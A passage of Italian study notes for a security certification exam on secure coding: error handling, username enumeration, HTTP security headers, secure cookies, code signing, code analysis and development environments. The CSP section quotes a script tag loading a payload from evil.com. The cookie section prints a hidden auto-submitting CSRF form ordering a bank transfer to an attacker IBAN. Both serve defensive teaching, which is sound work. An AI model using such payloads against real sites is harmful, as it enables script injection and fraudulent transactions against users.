tutto, mostra poco, logga tutto @Catch() export class GlobalExceptionFilter implements ExceptionFilter { catch(exception: unknown, host: ArgumentsHost) { logger.error(exception); // dettaglio completo nei log response.status(500).json({ message: \u0026#39;Internal server error\u0026#39; // generico all\u0026#39;utente }); } } Note Exam tip: le applicazioni dovrebbero mostrare messaggi di errore generici agli utenti ma loggare le informazioni dettagliate. L'error handling protegge l'integrità dell'OS e controlla cosa viene esposto.\nVettore applicazione — errori non gestiti espongono informazioni di debug Causa assenza di error handling o debug=true in produzione Effetto voluto raccogliere informazioni sul sistema (tipo DB, versioni, path, stack trace) per preparare attacchi più mirati Difesa errori generici all'utente, dettagli solo nei log, debug=false in produzione, filtri globali di eccezione Indicatore stack trace visibili nelle risposte HTTP, header con versioni di framework, messaggi con nomi di tabelle o path interni CIA Triad Confidentiality — informazioni interne sul sistema vengono esposte; Integrity se il crash non gestito corrompe dati Scope applicazione — chiunque possa triggerare un errore può raccogliere informazioni Username Enumeration via Differential Error Messages # mindmap root((Username Enumeration)) The Problem differential error messages Invalid password user exists User not found no account Attack Flow attacker sends usernames Invalid password hit = real account brute force only confirmed users Remediation single generic message Invalid username or password same response always Exam Trap lockout prevents brute force not enumeration CAPTCHA not the fix either Un caso specifico di error handling sbagliato con impatto diretto sugli attacchi di credential stuffing e brute force.\nIl problema: la pagina di login restituisce messaggi di errore diversi a seconda di cosa non va:\n\u0026quot;Invalid password\u0026quot; → l'username esiste, ma la password e' sbagliata \u0026quot;User not found\u0026quot; → l'username non esiste Questi differential error messages permettono a un attaccante di enumerare gli username validi senza tentare nemmeno l'accesso. Basta inviare richieste con nomi di utente a caso: quelli che ricevono \u0026quot;Invalid password\u0026quot; sono account reali da attaccare con brute force. Quelli che ricevono \u0026quot;User not found\u0026quot; si scartano.\nImpatto pratico: l'attaccante dimezza il problema. Invece di cercare sia username che password, cerca solo la password per utenti gia' confermati come esistenti.\nScenario domanda esame:\nUn analista osserva che la login page restituisce \u0026quot;Invalid password\u0026quot; per utenti esistenti e \u0026quot;User not found\u0026quot; per utenti inesistenti. Un attaccante sta enumerando gli username. Qual e' la remediation? Risposta corretta: restituire un messaggio generico identico per tutti i casi di autenticazione fallita — es. \u0026quot;Invalid username or password\u0026quot; — in modo che le risposte non rivelino quale campo e' corretto.\nERRATO (enumerable): - username esiste, password sbagliata → \u0026#34;Invalid password\u0026#34; - username non esiste → \u0026#34;User not found\u0026#34; CORRETTO (non enumerable): - qualsiasi errore di autenticazione → \u0026#34;Invalid username or password\u0026#34; Vettore applicazione web — pagina di login con messaggi di errore diversi Causa error handling che distingue tra \u0026quot;utente non trovato\u0026quot; e \u0026quot;password sbagliata\u0026quot; nell'output all'utente Effetto voluto enumerare username validi per ridurre lo spazio di ricerca in attacchi brute force successivi Difesa messaggio generico identico per tutti i fallimenti di autenticazione: \u0026quot;Invalid username or password\u0026quot; Indicatore picchi di richieste di login con username diversi ma stessa password, log con molti 401 su username mai registrati CIA Triad Confidentiality — l'elenco degli utenti e' informazione riservata che non dovrebbe essere ricavabile dall'interfaccia Scope applicazione — tutti gli account del sistema sono potenzialmente enumerabili Warning Exam trap: la domanda descrivera' i due messaggi diversi come il problema — la risposta e' sempre \u0026quot;usare un messaggio generico uguale per tutti i fallimenti di autenticazione\u0026quot;. Non si tratta di aggiungere lockout (quello previene brute force, non enumeration) ne' di CAPTCHA.\nCode Obfuscation # mindmap root((Code Obfuscation)) What make code unreadable rename variables encode strings hex remove whitespace Limit security through obscurity determ expert can reverse it deterrent not protection Dev Parallel webpack minification protects from curious not from attacker Obfuscation = rendere qualcosa difficile da capire. Code obfuscation = rendere il codice illeggibile.\nIl contesto originale è la protezione del codice: JavaScript viaggia in chiaro nel browser — chiunque può aprire i DevTools e copiarselo. L'obfuscation rallenta questo processo rinominando variabili, sostituendo numeri con espressioni equivalenti, codificando stringhe in esadecimale, rimuovendo spazi e commenti.\n// Codice originale — leggibile function calculateDiscount(strFirstName, price) { const discount = 11; return price - (price * discount / 100); } // Dopo obfuscation function a(b,c){var d=0xF01B-0x73-0xEF9D;return c-(c*d/0x64);} strFirstName → 94mdiwl, 11 → 0xF01B - 0x73 - 0xEF9D (che vale ancora 11 — solo reso illeggibile), tutto il whitespace rimosso.\nLimite importante: la maggior parte degli esperti di sicurezza rifiuta la security through obscurity come metodo affidabile. L'obfuscation rende il codice difficile da leggere per la maggior parte delle persone — ma non per qualcuno con le competenze giuste. Un reverse engineer esperto può deobfuscare il codice. È un deterrente, non una protezione reale.\nDal punto di vista dev: hai sicuramente incontrato questo in produzione — i bundle webpack minificati sono una forma leggera di obfuscation. Proteggono da curiosi, non da attaccanti determinati.\nÈ un deterrente, non una protezione reale Software Diversity # mindmap root((Software Diversity)) Multicompiler same source different binary randomized each compilation functional behavior unchanged Why exploit targets specific binary different binary = exploit fails defeats buffer overflow ROP chains memory layout unpredictable Limit additional layer only not standalone solution increases attack cost La software diversity automatizzata è una tecnica che usa un multicompiler — un compilatore che non produce un binario identico ogni volta, ma introduce variazioni controllate mantenendo lo stesso comportamento funzionale.\nNormalmente un compilatore converte il codice sorgente in un eseguibile binario deterministico — lo stesso sorgente produce sempre lo stesso binario. Un multicompiler invece:\nInclude funzioni e moduli come se il codice fosse scritto in più linguaggi contemporaneamente Aggiunge un livello di randomness — lo stesso programma si comporta leggermente in modo diverso su sistemi diversi, ma raggiunge sempre lo stesso risultato Perché serve: un attacco che sfrutta una vulnerabilità specifica in un binario funziona su tutte le macchine che eseguono quel binario identico. Con software diversity, lo stesso exploit che funziona su sistema A fallisce su sistema B — anche se entrambi eseguono lo stesso programma sorgente, i binari compilati sono diversi.\nÈ una misura difensiva contro exploit che sfruttano layout di memoria predicibili (es. buffer overflow, ROP chains) — se il binario è diverso su ogni macchina, l'attaccante non può assumere che l'indirizzo di memoria X sia sempre lo stesso.\nNota: come l'obfuscation, non è una soluzione standalone — è un layer aggiuntivo che aumenta il costo dell'attacco, non lo rende impossibile. Outsourced Code Development # mindmap root((Outsourced Code)) Risks Broken code test before accepting Vulnerable code no secure coding practice Malicious code backdoor logic bomb hard to find in review No updates CVEs never patched Mitigations SAST on received code Sandboxing before deploy Contract patch obligation Code review or audit Supply Chain Link external dev is chain link if compromised whole app Non tutte le organizzazioni hanno developer interni. Quando si esternalizza lo sviluppo, bisogna gestire rischi di sicurezza specifici che non esistono con un team interno — perché perdi visibilità e controllo diretto sul codice che stai per mettere in produzione.\nRischio Descrizione Codice non funzionante il developer promette di saper fare, ma il codice non funziona come atteso — test approfonditi prima dell'accettazione Codice vulnerabile se il developer non segue le best practice di secure coding, il codice sarà vulnerabile — e potresti scoprirlo solo dopo che è stato sfruttato Codice malevolo il developer può inserire backdoor o logic bomb deliberatamente — difficili da rilevare con i normali test funzionali Mancanza di aggiornamenti le vulnerabilità vengono scoperte nel tempo — se il contratto non prevede aggiornamenti e patch, potresti non riceverli Il caso del codice malevolo è il più insidioso: un test funzionale verifica che il codice faccia quello che deve fare, non che non faccia anche altro. Una backdoor ben nascosta supera quasi tutti i test standard — serve code review approfondita o analisi statica del codice.\nCollegato al concetto di supply chain attack (cap 6): il developer esterno è un anello della catena. Se è compromesso o malevolo, il prodotto finale lo è.\nMitigazioni pratiche:\nTest di accettazione approfonditi prima del deploy Code review del codice ricevuto (o auditing esterno) Clausola contrattuale per aggiornamenti di sicurezza e patch Analisi statica del codice (SAST) per rilevare pattern sospetti Sandboxing prima del deploy in produzione Data Exposure # mindmap root((Data Exposure)) Three Data States At Rest disk database backup AES encryption In Transit network between services TLS HTTPS VPN In Processing RAM during computation flush buffers after use Critical Step flush memory buffers data in clear after use residual in RAM until overwritten Dev PHP Node no direct memory control GC handles RAM C C++ memset SecureZeroMemory explicit wipe required Le applicazioni lavorano con dati — e proteggere quei dati è una responsabilità del codice, non solo dell'infrastruttura. Se i dati non sono protetti, il risultato è un data breach: dati esposti a entità non autorizzate.\nI tre stati del dato e come si proteggono:\nStato Dove si trova Protezione standard Data at rest disco, database, backup encryption (AES, FDE) Data in transit rete, tra servizi TLS, HTTPS, VPN Data in processing RAM, durante elaborazione flush dei buffer dopo l'uso Il ciclo che Gibson descrive per i dati cifrati in un'applicazione:\nDati cifrati su disco ↓ Applicazione decifra → dati in chiaro in RAM [RISCHIO] ↓ Elaborazione in memoria ↓ Applicazione ri-cifra → torna su disco ↓ FLUSH dei buffer di memoria ← passaggio critico spesso dimenticato Il passaggio critico è il flush dei buffer: dopo l'elaborazione, i dati in chiaro rimangono in memoria finché non vengono sovrascritti. Se l'applicazione non pulisce esplicitamente quei buffer, un attaccante con accesso alla memoria (dump di RAM, swap file, core dump) può trovare i dati non cifrati anche dopo che l'applicazione li ha \u0026quot;usati\u0026quot;.\nDal punto di vista dev: in PHP/Node non controlli direttamente la memoria — il garbage collector libera la RAM quando vuole. Per dati altamente sensibili (chiavi crittografiche, password in chiaro durante l'hashing) esistono strutture dati specializzate che garantiscono il wipe sicuro. In linguaggi come C/C++ è responsabilità esplicita del developer chiamare memset() o SecureZeroMemory() sui buffer sensibili prima di liberarli.\nNote Cap 10 approfondisce i metodi di encryption per i tre stati del dato. Qui il punto rilevante è che la responsabilità del flush dei buffer è del codice applicativo — non del sistema operativo.\nHTTP Headers # mindmap root((HTTP Security Headers)) HSTS HTTPS only max-age in seconds includeSubDomains HSTS Preload List hardcoded in browser first visit protected CSP allowlist content sources script-src self cdn blocks XSS injection default-src self everything else blocked X-Frame-Options prevents clickjacking DENY no iframe ever SAMEORIGIN same domain only NestJS helmet middleware sets all headers auto helmet CSP directives Tool securityheaders.com grades A plus to F I messaggi HTTP tra web server e client hanno una struttura in sezioni — tra cui l'header, formato da coppie chiave:valore. Tre gruppi principali:\nGruppo Cosa contiene General header informazioni sull'intero messaggio Request header browser, lingua accettata, encoding supportati Entity header informazioni sul body della risposta Gli header di risposta (quelli che il server manda al client) possono essere usati per comunicare policy di sicurezza al browser — istruzioni su come deve comportarsi con il contenuto ricevuto. OWASP Secure Headers Project documenta le raccomandazioni ufficiali.\nI tre header di sicurezza principali:\nHTTP Strict-Transport-Security (HSTS) # mindmap root((HSTS)) What browser enforces HTTPS only max-age seconds includeSubDomains First Visit Problem still vulnerable to SSL stripping rule saved only after first HTTPS Preload List hardcoded in browser source zero HTTP attempts ever hstspreload.org to register Dice al browser: \u0026quot;visita questo sito solo in HTTPS\u0026quot;. Già trattato in dettaglio nella sezione SSL Stripping.\nStrict-Transport-Security: max-age=31536000; includeSubDomains max-age=SECONDS — per quanti secondi il browser applica la regola (31536000 = 1 anno) includeSubDomains — estende la policy a tutti i sottodomini Content-Security-Policy (CSP) # mindmap root((CSP)) Purpose allowlist content sources browser blocks rest Primary XSS defense injected script from evil.com blocked Directives default-src self script-src self cdn img-src wildcard CSP vs X-Frame-Options frame-ancestors replaces X-Frame more granular use both for compatibility Definisce le sorgenti di contenuto accettabili per la pagina — script, stili CSS, immagini, plugin. Il browser rifiuta tutto ciò che non rientra nella policy.\nContent-Security-Policy: default-src \u0026#39;self\u0026#39;; script-src \u0026#39;self\u0026#39; cdn.trusted.com; img-src * default-src 'self' — di default, solo risorse dallo stesso dominio script-src 'self' cdn.trusted.com — script solo da self o da cdn.trusted.com img-src * — immagini da qualsiasi sorgente La CSP restringe le sorgenti — il browser non carica nemmeno il contenuto se non viene da un'origine autorizzata. Non isola l'esecuzione, blocca il caricamento.\nPerché è importante: CSP è la difesa primaria contro XSS (Cross-Site Scripting). Anche se un attaccante riesce a iniettare \u0026lt;script src=\u0026quot;evil.com/payload.js\u0026quot;\u0026gt;, il browser lo blocca se evil.com non è nella CSP. Vedremo XSS nella sezione successiva.\nX-Frame-Options # mindmap root((X-Frame-Options)) Purpose prevents clickjacking invisible iframe overlay user clicks wrong element Values DENY never in iframe SAMEORIGIN same domain only Modern CSP frame-ancestors preferred more granular control use both for compatibility Controlla se la pagina può essere caricata dentro un \u0026lt;iframe\u0026gt; (X-Frame) su un altro sito.\nX-Frame-Options: DENY # mai in iframe X-Frame-Options: SAMEORIGIN # iframe solo dallo stesso dominio Usato per prevenire clickjacking — una tecnica in cui un attaccante incorpora una pagina legittima in un iframe invisibile sopra la propria pagina malevola. L'utente crede di cliccare su qualcosa innocuo, ma in realtà interagisce con la pagina incorporata.\nX-Frames sono rari oggi — la maggior parte dei siti li disabilita perché aprono vulnerabilità senza portare benefici.\nNote CSP moderno include la direttiva frame-ancestors che sostituisce X-Frame-Options con più granularità. Per compatibilità si usano spesso entrambi.\nIn NestJS il modo idiomatico è helmet — middleware che imposta automaticamente tutti questi header con default sicuri:\nimport helmet from \u0026#39;helmet\u0026#39;; app.use(helmet()); // imposta automaticamente: HSTS, CSP, X-Frame-Options, X-Content-Type-Options, ... // oppure personalizzato: app.use(helmet({ contentSecurityPolicy: { directives: { defaultSrc: [\u0026#34;\u0026#39;self\u0026#39;\u0026#34;], scriptSrc: [\u0026#34;\u0026#39;self\u0026#39;\u0026#34;, \u0026#34;cdn.trusted.com\u0026#34;], }, }, })); Senza helmet, una app Express/NestJS in produzione non manda nessuno di questi header — il browser non ha istruzioni di sicurezza, è esposto a XSS, clickjacking e downgrade HTTPS.\nTip securityheaders.com — scanner gratuito che analizza gli header di risposta di qualsiasi sito e assegna un voto da A+ a F. Lista ogni header di sicurezza presente o mancante con spiegazione. Utile per audit rapido di qualsiasi web app.\nVettore web — risposta HTTP senza header di sicurezza Causa il server non comunica al browser le policy di sicurezza della pagina Effetto voluto XSS, clickjacking, downgrade HTTPS senza che il browser possa bloccarli autonomamente Difesa HSTS, Content-Security-Policy, X-Frame-Options — configurati sul server (es. helmet in Node) Indicatore assenza di header di sicurezza nelle response HTTP (visibile in DevTools → Network → Response Headers), scanner OWASP ZAP o securityheaders.com che segnalano header mancanti CIA Triad Confidentiality / Integrity — header mancanti espongono la pagina a script injection (I) e furto di sessione (C) Scope web — tutti gli utenti che visitano il sito Secure Cookies # mindmap root((Secure Cookies)) What is a Cookie small text file on client session ID token preferences sent back every request Risk Without Secure on-path attacker Wireshark sees Cookie header replay attack Three Attributes Secure HTTPS only never sent over HTTP HttpOnly no JavaScript access blocks XSS session theft SameSite Strict no cross-site send blocks CSRF CSRF Attack user logged in banca.com evil.com form auto-submits cookie sent without SameSite Etymology Lou Montulli 1994 magic cookie Unix tradition Un cookie è un piccolo file di testo che il server scrive sul sistema dell'utente alla prima visita. Può contenere qualsiasi cosa il developer decida: session ID, preferenze, token di autenticazione. Ad ogni visita successiva il browser rimanda il cookie al server — che lo legge per riconoscere l'utente.\nIl problema: se il cookie viaggia su HTTP (non cifrato), è leggibile in chiaro. Un attaccante on-path che cattura il traffico con Wireshark vede letteralmente Cookie: session=abc123def456 nell'header HTTP di ogni request — nessuna tecnica speciale, è testo come qualsiasi altra pagina web. A quel punto può rimandarla al server impersonando l'utente (replay attack).\nL'attributo Secure risolve questo: dice al browser di trasmettere il cookie solo su HTTPS. Chrome e Firefox non inviano cookie con Secure su connessioni HTTP — il cookie rimane sul sistema ma non viene mai allegato alla request non cifrata.\nSet-Cookie: session=abc123; Secure; HttpOnly; SameSite=Strict I tre attributi che si usano insieme:\nAttributo Cosa fa Attacco che previene Secure cookie solo su HTTPS intercettazione on-path (sniffing) HttpOnly cookie non accessibile via JavaScript XSS — script iniettato non può leggere il cookie SameSite=Strict cookie non inviato in request cross-site CSRF (Cross-Site Request Forgery) CSRF — come funziona senza SameSite:\nL'utente è loggato su banca.com — il browser tiene il cookie di sessione. Apre una pagina malevola:\n\u0026lt;!-- evil.com — form nascosto che si submits automaticamente --\u0026gt; \u0026lt;form action=\u0026#34;https://banca.com/bonifico\u0026#34; method=\u0026#34;POST\u0026#34;\u0026gt; \u0026lt;input name=\u0026#34;importo\u0026#34; value=\u0026#34;5000\u0026#34;\u0026gt; \u0026lt;input name=\u0026#34;iban\u0026#34; value=\u0026#34;IT_ATTACCANTE_123\u0026#34;\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;script\u0026gt;document.forms[0].submit()\u0026lt;/script\u0026gt; Il browser manda la POST a banca.com e allega automaticamente il cookie di sessione — perché i cookie vengono inviati a ogni request verso quel dominio, indipendentemente da quale sito ha originato la request. La banca riceve una request con cookie valido e processa il bonifico. L'utente non ha cliccato nulla.\nCon SameSite=Strict: il cookie non viene allegato alle request che originano da un dominio diverso. La banca riceve la POST senza cookie — request anonima, rifiutata.\nPerché si chiama cookie: Lou Montulli (Netscape, 1994) prese il termine da \u0026quot;magic cookie\u0026quot; — un concetto Unix per token di dati opachi passati e restituiti invariati. L'analogia con il fortune cookie: ricevi un biscotto con un messaggio, non ti serve capirlo, lo restituisci quando te lo chiedono. Il browser riceve il cookie, lo memorizza, lo rimanda ad ogni request senza interpretarne il contenuto.\nIn NestJS con Express:\napp.use(session({ cookie: { secure: true, // solo HTTPS httpOnly: true, // no JS access sameSite: \u0026#39;strict\u0026#39; } })); Note HttpOnly non è un header di risposta separato — è un attributo del cookie stesso. Ma il risultato è lo stesso: il browser applica una policy che il server ha comunicato nella response.\nVettore rete — cookie trasmesso su HTTP in chiaro, oppure rubato via XSS Causa cookie senza attributo Secure viaggia su HTTP; senza HttpOnly è leggibile da JavaScript Effetto voluto rubare il session cookie per impersonare l'utente (session hijacking / replay attack) Difesa attributo Secure (solo HTTPS), HttpOnly (no JS), SameSite=Strict (no CSRF) Indicatore session cookie visibile in Wireshark su traffico HTTP, cookie accessibile dalla console JS del browser (document.cookie) CIA Triad Confidentiality — il cookie di sessione esposto permette di impersonare l'utente senza conoscere le sue credenziali Scope singolo utente — la sessione specifica intercettata; se è un cookie admin, lo scope si allarga all'intera applicazione Code Signing # mindmap root((Code Signing)) What digital signature in cert authenticates software validates integrity How developer signs with private key hash of binary signed user verifies with public key OS Enforcement Windows SmartScreen warns unknown publisher blocks unsigned macOS Gatekeeper requires notarized apps Real Case SolarWinds 2020 signed malicious update trusted by all systems 18000 organizations Il code signing usa certificati digitali e firme digitali per autenticare il software. Due benefici:\nIdentità — il certificato identifica l'autore del codice Integrità — l'hash verifica che il codice non sia stato modificato Se un malware altera il codice dopo la firma, l'hash cambia e non corrisponde più alla firma originale — il sistema operativo avvisa l'utente.\nCome funziona:\nDeveloper: 1. Compila il binario 2. Calcola l\u0026#39;hash del file 3. Firma l\u0026#39;hash con la sua chiave privata (dal certificato) 4. Embedding: firma + certificato nel file OS al momento dell\u0026#39;esecuzione: 1. Estrae firma e certificato dal file 2. Verifica il certificato con la CA (chain of trust) 3. Ricalcola l\u0026#39;hash del file 4. Confronta con l\u0026#39;hash firmato → corrispondenza = file integro e autentico Esempio concreto — Windows SmartScreen:\nScarichi un .exe da internet. Windows verifica la firma embedded:\nScenario Cosa succede Risultato Software firmato da publisher noto certificato valido (DigiCert), hash corrisponde avvio senza avvisi Software non firmato nessun certificato \u0026quot;Windows Protected Your PC — Publisher: Unknown\u0026quot; Software firmato ma modificato da malware certificato valido, ma hash non corrisponde \u0026quot;Firma non valida — il file potrebbe essere stato alterato\u0026quot; Il terzo caso è quello critico: un attaccante prende un installer legittimo, inietta il suo payload, lo ridistribuisce. L'hash è cambiato — la firma del developer originale non valida più.\nmacOS Gatekeeper funziona allo stesso modo: blocca di default le app non firmate con Apple Developer ID. È per questo che le app indie richiedono il passaggio in Impostazioni → Privacy → \u0026quot;Apri comunque\u0026quot;.\nWarning La firma non aiuta se chi firma è già compromesso. SolarWinds (2020): il codice malevolo fu compilato e firmato con il certificato legittimo di SolarWinds — la firma era valida, l'identità era autentica. Il vettore fu la compromissione del build server, non del codice sorgente. La supply chain attack bypassò completamente il code signing.\nnpm e pip non firmano per default — i pacchetti open source vengono pubblicati senza firma crittografica del publisher. Questo è esattamente il vettore che rende i supply chain attack su ecosistemi come npm così efficaci (es. event-stream 2018, colors 2022).\nVettore distribuzione software — binari modificati o non firmati Causa assenza di verifica crittografica dell'integrità e dell'identità del publisher Effetto voluto eseguire codice malevolo spacciandolo per software legittimo Difesa code signing con certificato da CA trusted, verifica automatica da OS (SmartScreen, Gatekeeper) Indicatore avvisi OS su firma assente o non valida, hash del file che non corrisponde a quello pubblicato dal vendor, certificato scaduto o revocato CIA Triad Integrity — il codice eseguito non è quello originale del developer; Confidentiality se il malware iniettato esfiltra dati Scope endpoint — ogni sistema che esegue il file compromesso Analyzing and Reviewing Code # mindmap root((Analyzing and Reviewing Code)) Static Analysis no execution needed manual code review automated SAST Tools SonarQube Semgrep Snyk GitHub Advanced Security Dynamic Analysis code running fuzzing random input crashes signal vuln Finds buffer overflow race condition edge case behavior Stress Testing extreme load beyond normal limits graceful degradation check Model Verification formal math proof exhaustive not sampled aviation medical IoT Sandboxing isolated environment VM Docker container effects stay inside Package Monitoring track all dependencies alert on CVE npm audit Snyk Dependabot Supply Chain event-stream 2018 xz-utils 2024 Le organizzazioni che sviluppano software impiegano tester per verificare la qualità del codice prima del rilascio. Quattro metodi principali:\nStatic Code Analysis # mindmap root((Static Code Analysis)) No Execution manual code review different person reviews blind spots reduced automated SAST pattern matching Tools SonarQube Semgrep Snyk ESLint security plugin GitHub Advanced Security integrated in PRs Esamina il codice senza eseguirlo. Due forme:\nManual code review — qualcuno diverso dal developer che ha scritto il codice lo legge riga per riga cercando vulnerabilità. Il punto chiave è che sia qualcun altro: il developer originale ha punti ciechi sul proprio codice. Automated SAST (Static Application Security Testing) — tool automatizzati che analizzano il codice e marcano pattern potenzialmente vulnerabili. In pratica: SonarQube, Semgrep, Snyk per codebase enterprise. ESLint con plugin security per Node/JS. GitHub Advanced Security integra SAST direttamente nelle PR.\nDynamic Code Analysis # mindmap root((Dynamic Code Analysis)) Fuzzing random data to app crash equals vulnerability Finds buffer overflow race conditions edge case behavior vs Static static reads code dynamic runs code runtime vulns only visible here Controlla il codice mentre è in esecuzione. Il metodo principale è il fuzzing: un programma manda dati random all'applicazione target. Se l'applicazione crasha o produce risultati inattesi, è un segnale di vulnerabilità da investigare.\nIl fuzzing trova vulnerabilità che la static analysis non vede — buffer overflow, race condition, comportamenti imprevisti su input edge case — perché dipendono dall'esecuzione reale, non dalla lettura del codice.\nStress Testing # mindmap root((Stress Testing)) What extreme load beyond limits traffic data concurrent users Goal how system behaves at limit crash or degrade gracefully vs Fuzzing fuzzing random malformed data stress testing valid high volume Testa l'applicazione sotto carico estremo — volumi di traffico, dati o utenti concorrenti ben oltre i limiti normali. L'obiettivo è scoprire come si comporta il sistema al limite: crasha? degrada gracefully? espone vulnerabilità che non emergono in condizioni normali?\nDiverso dal fuzzing: il fuzzing manda dati casuali per trovare vulnerabilità nel parsing, lo stress testing manda volumi elevati di dati/richieste validi per trovare vulnerabilità nel comportamento sotto carico (race condition, memory leak, overflow).\nModel Verification # mindmap root((Model Verification)) What formal math proof code matches spec exhaustive not sampled Use Cases aviation software medical devices industrial control systems Verifica formale che il codice corrisponda al modello o alle specifiche di progetto. Usa tecniche matematiche per dimostrare che il comportamento del software è quello atteso — non si limita a testare casi specifici, verifica la correttezza in modo esaustivo.\nUsata in contesti ad alta criticità: software per sistemi di controllo industriale, avionica, dispositivi medici — dove un bug non rilevato può avere conseguenze catastrofiche.\nSandboxing # mindmap root((Sandboxing)) Isolated Environment crash stays inside disk writes contained network calls blocked Tools VM classic approach Docker container JVM native sandbox Browser sandbox extensions Testa l'applicazione in un ambiente isolato creato appositamente. Qualsiasi effetto — crash, scritture su disco, connessioni di rete — rimane confinato al sandbox senza toccare il sistema host.\nLe VM sono lo strumento classico. Java Virtual Machine include un sandbox nativo per restringere le applicazioni untrusted. In ambito moderno: container Docker, ambienti di staging isolati, browser sandbox per estensioni.\nPackage Monitoring # mindmap root((Package Monitoring)) Why dependencies everywhere alert on CVE in any dep Supply Chain Risk npm pip no default signing compromised package spreads Cases event-stream 2018 Bitcoin theft xz-utils 2024 backdoor Tools npm audit Snyk Dependabot socket.dev Ogni developer usa codice scritto da altri — librerie, pacchetti, dipendenze. È necessario monitorare quali pacchetti vengono usati in tutta l'organizzazione: quando emerge una vulnerabilità in una dipendenza esterna, devi sapere in quanti progetti è usata e patcharla ovunque.\nIl collegamento con la supply chain: npm e pip non richiedono firma crittografica dei pacchetti per default. Un attaccante che compromette un pacchetto popolare colpisce automaticamente tutti i progetti che lo includono — senza toccare il loro codice.\nCasi reali:\nevent-stream (2018) — maintainer cede il progetto a un attaccante, che inietta codice per rubare wallet Bitcoin. Scaricato milioni di volte prima della scoperta. colors / faker (2022) — developer sabota intenzionalmente i propri pacchetti per protesta, rompendo migliaia di progetti in produzione. xz-utils (2024) — backdoor iniettata in un pacchetto Linux di sistema dopo due anni di social engineering sul maintainer. Strumenti di package monitoring: npm audit, Snyk, Dependabot (GitHub), socket.dev. Tutti controllano le dipendenze contro database di vulnerabilità note e segnalano pacchetti da aggiornare.\nNote Package monitoring è la risposta diretta alla supply chain attack descritta in cap 6. Il vettore è lo stesso — dipendenza compromessa a monte — la difesa è sapere cosa hai installato e ricevere alert quando escono CVE su quelle dipendenze.\nVettore applicazione — codice vulnerabile o dipendenze compromesse rilasciate in produzione Causa assenza di review, testing e monitoraggio delle dipendenze prima del deploy Effetto voluto scoprire vulnerabilità prima del rilascio; rilevare dipendenze compromesse nella supply chain Difesa static analysis (SAST), fuzzing, sandboxing per test, package monitoring con alert su CVE Indicatore crash su input inattesi (fuzzing), pattern vulnerabili segnalati da SAST, dipendenze con CVE note nei log di npm audit o Snyk CIA Triad tutti e tre — dipende dalla vulnerabilità trovata o sfruttata Scope applicazione e supply chain — una dipendenza vulnerabile colpisce tutti i progetti che la includono Software Version Control # mindmap root((Software Version Control)) What is Tracked who changed what when author timestamp message every commit SHA-1 hash tamper-evident history Security Benefits Rollback revert vulnerable change Traceability no invisible modifications Pull Request Workflow branch and commit PR opened for review code review required approval before merge Git branch protection no direct push to main commit signing GPG Il version control traccia ogni versione del software: chi ha fatto una modifica, quando, e cosa è cambiato. Il workflow classico: il developer fa check out del codice per lavorarci, poi check in quando ha finito — il sistema registra ogni singola modifica con autore e timestamp.\nDue benefici di sicurezza diretti:\nRollback — se una modifica introduce un bug o una vulnerabilità, si torna alla versione precedente in pochi secondi Tracciabilità — se i developer possono fare modifiche non tracciate, possono introdurre problemi (intenzionali o no) invisibili. Il version control elimina le modifiche non autorizzate rendendole evidenti Git è il sistema di version control dominante. Ogni commit ha: hash SHA-1 del contenuto, autore, timestamp, messaggio. Non si può modificare la storia senza che l'hash cambi — qualsiasi alterazione è rilevabile.\nPull Request (PR) — il meccanismo che porta la code review dentro il flusso ordinario. Un developer lavora su un branch separato, poi apre una PR: una richiesta formale di portare le sue modifiche nel branch principale (main). Prima che il merge avvenga, altri developer leggono il diff, lasciano commenti, richiedono modifiche o approvano. Solo dopo l'approvazione il codice entra in main.\ngitGraph commit id: \"v1.0\" branch feature/auth checkout feature/auth commit id: \"add JWT\" commit id: \"add refresh token\" checkout main commit id: \"hotfix\" merge feature/auth id: \"PR #42 — code review approvata\" tag: \"v1.1\" commit id: \"v1.1 in prod\" Il valore di sicurezza: nessuna modifica al codice principale passa senza che almeno un'altra persona l'abbia vista. Se un developer introduce una backdoor o codice vulnerabile, la PR è il checkpoint dove viene rilevata — e il commit è attribuito a quella persona con data e ora.\nVettore applicazione — modifiche non tracciate o non autorizzate al codice Causa assenza di version control o processi di review prima del merge Effetto voluto introdurre vulnerabilità o backdoor invisibili nel codice Difesa version control (Git), branch protection, code review obbligatoria su PR, firma dei commit Indicatore commit senza review approvata, modifiche a file critici fuori dal normale flusso, autori inattesi su repository sensibili CIA Triad Integrity — il codice in produzione deve corrispondere esattamente a quello revisionato e approvato Scope codebase — tutti i sistemi che eseguono il codice modificato Secure Development Environment # mindmap root((Secure Dev Environment)) Stages Development isolated from prod version control active Test module testing not full prod replica Staging full prod clone last gate before go-live Production live users tightest access control QA all stages continuous Why Isolation Matters crash in dev stays in dev no prod data at risk migration bug in staging caught before real data Shift Left find bugs early cheaper to fix security from day one Un secure development environment usa ambienti separati e isolati per ogni fase del ciclo di vita del software. Ogni stage è indipendente dagli altri — un bug in sviluppo non impatta la produzione.\nLe cinque fasi:\nStage Scopo Caratteristiche Development scrittura del codice isolato da prod, version control attivo, accesso solo ai developer Test verifica dei moduli non simula prod completa — hardware/software sufficienti per testare i moduli Staging late-stage testing copia completa e indipendente di prod — trova i bug che impatterebbero il live Production ambiente live web server, database, accesso internet — tutto il necessario per gli utenti finali QA (Quality Assurance) processo continuo presente in tutti gli stage, dall'inizio alla fine del progetto Perché l'isolamento è sicurezza:\nSe dev e prod condividono lo stesso sistema, un crash durante i test può abbattere il servizio live. Se uno script di migration viene testato direttamente su prod e ha un bug, i dati reali vengono corrotti. L'isolamento per stage è la difesa contro questi scenari.\nParallelo concreto: in Symfony hai .env, .env.test, .env.prod — variabili diverse per ogni ambiente. Il database di test non è il database di prod. Le chiavi API di staging non sono quelle di produzione.\nDeveloper → commit → [Development] → test automatici → [Test] → QA → [Staging] → review → [Production] ↑ ↑ bug trovato qui bug trovato qui → fix in dev → fix in dev non impatta prod non impatta prod Important Exam tip: un secure development environment include più stage. Gli stage sono completati in ambienti separati e non di produzione. I metodi di QA vengono applicati in ciascuno degli stage.\nVettore processo — deploy diretto in produzione senza testing in ambienti isolati Causa assenza di separazione tra ambienti — un problema in dev/test raggiunge prod Effetto voluto bug, vulnerabilità o configurazioni errate che arrivano in produzione Difesa pipeline con stage separati e isolati, QA continua, nessun deploy diretto in prod Indicatore credenziali o configurazioni prod usate in dev, deploy che bypassano staging, assenza di testing environment CIA Triad Integrity / Availability — codice non testato in prod introduce vulnerabilità (I) o instabilità (A) Scope organizzazione — tutti gli utenti del sistema in produzione Database Concepts # mindmap root((Database Concepts)) Structure Table Column attribute type Row record tuple Field intersection value Schema Multiple tables junction table normalization Data Types INT VARCHAR TEXT 